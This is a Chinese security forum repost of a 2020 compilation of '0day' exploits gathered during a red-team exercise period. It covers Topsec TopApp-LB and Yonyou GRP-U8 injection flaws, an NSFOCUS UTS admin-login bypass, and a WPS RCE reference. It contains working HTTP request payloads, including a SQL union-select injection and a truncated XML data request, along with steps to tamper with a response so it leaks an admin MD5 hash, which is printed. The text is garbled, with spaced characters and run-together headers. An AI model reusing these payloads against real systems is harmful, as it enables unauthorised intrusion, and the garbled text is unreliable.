搜索

[7479] 2020-09-11_HW第一天今日0day利用大全

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-17
2020-09-11_HW第一天今日0day利用大全 H W 第 一 天 : 今 日 0 d a y 利 用 大 全 原 创   大 老 李   F 1 1 T e a m   2 0 2 0 - 0 9 - 1 1 收 录 于 话 题   # H W 行 动   , 8 个 天 融 信 天 融 信 T o p A p p - L B   负 载 均 衡 系 统 负 载 均 衡 系 统 s q l 注 入 注 入 用 友 用 友 G R P - u 8   注 入 注 入 绿 盟 绿 盟 U T S 综 合 威 胁 探 针 管 理 员 任 意 登 录 综 合 威 胁 探 针 管 理 员 任 意 登 录 漏 洞 详 情 ： 绿 盟 全 流 量 威 胁 分 析 解 决 方 案 针 对 原 始 流 量 进 行 采 集 和 监 控 ， 对 流 量 信 息 进 行 深 度 还 原 、 存 储 、 查 询 和 分 析 ， 可 以 及 时 掌 握 重 要 信 息 系 统 相 关 网 络 安 全 威 胁 风 险 ， 及 时 检 测 漏 洞 、 病 毒 木 马 、 网 络 攻 击 情 况 ， 及 时 发 现 网 络 安 全 事 件 线 索 ， 及 时 通 报 预 警 重 大 网 络 安 全 威 胁 ， 调 查 、 防 范 和 打 击 网 络 攻 击 等 恶 意 行 为 ， 保 障 重 要 信 息 系 统 的 网 络 安 全 。 绿 盟 综 合 威 胁 探 针 设 备 版 本 V 2 . 0 R 0 0 F 0 2 S P 0 2 及 之 前 存 在 此 漏 洞 。 处 置 意 见 : 建 议 尽 快 更 新 补 丁 至 最 新 ：   h t t p : / / u p d a t e . n s f o c u s . c o m / u p d a t e / l i s t B s a U t s D e t a i l / v / F 0 2 漏 洞 利 用 过 程 ： P O S T   / a c c / c l s f / r e p o r t / d a t a s o u r c e . p h p   H T T P / 1 . 1 H o s t : C o n n e c t i o n :   c l o s e A c c e p t :   t e x t / j a v a s c r i p t ,   t e x t / h t m l ,   a p p l i c a t i o n / x m l ,   t e x t / x m l ,   * / * X - P r o t o t y p e - V e r s i o n :   1 . 6 . 0 . 3 X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 _ 1 5 _ 5 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 4 . 0 . 4 1 4 7 . 1 0 5   S a f a r i / 5 3 7 . 3 6 S e c - F e t c h - S i t e :   s a m e - o r i g i n S e c - F e t c h - M o d e :   c o r s S e c - F e t c h - D e s t :   e m p t y A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 C o o k i e :   P H P S E S S I D = i j q t o p b c b m u 8 d 7 0 o 5 t 3 k m v g t 5 7 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   2 0 1   t = l & e = 0 & s = t & l = 1 & v i d = 1 + u n i o n   s e l e c t   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , s u b s t r ( ' a ' , 1 , 1 ) , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 - - + & g i d = 0 & l m t = 1 0 & o = r _ S p e e d & a s c = f a l s e & p = 8 & l i p f = & l i p t = & r i p f = & r i p t = & d s c p = & p r o t o = & l p f = & l p t = & r p f = & r p t = @ 。 。   P O S T   / P r o x y   H T T P / 1 . 1 A c c e p t :   A c c e p t :   * / * C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d U s e r - A g e n t :   M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   6 . 0 ; ) H o s t :   h o s t C o n t e n t - L e n g t h :   3 5 7 C o n n e c t i o n :   K e e p - A l i v e C a c h e - C o n t r o l :   n o - c a c h e c V e r = 9 . 8 . 0 & d p = < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " G B 2 3 1 2 " ? > < R 9 P A C K E T   v e r s i o n = " 1 " > < D A T A F O R M A T > X M L < / D A T A F O R M A T > < R 9 F U N C T I O N > < N A M E > A S _ D a t a R e q u e s t < / N A M E > < P A R A M S > < P A R A M > < N A M E > P r o v i d e r N a m e
对 响 应 包 进 行 修 改 ， 将 f a l s e 更 改 为 t r u e 的 时 候 可 以 泄 露 管 理 用 户 的 m d 5 值 密 码 利 用 渠 道 的 m d 5 值 去 登 录 页 面 7 a c 3 0 1 8 3 6 5 2 2 b 5 4 a f c b b e d 7 1 4 5 3 4 c 7 f b   成 功 登 录 ， 登 录 后 通 过 管 理 员 权 限 对 设 备 进 行 管 控 ， 并 且 可 以 看 到 大 量 的 攻 击 信 息 ， 泄 露 内 部 网 络 地 址 包 括 资 产 管 理 。
W P S  
参 考 ： z e i f a n . m y / s e c u r i t y / r c e / h e a p / 2 0 2 0 / 0 9 / 0 3 / w p s - r c e - h e a p . h t m l 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理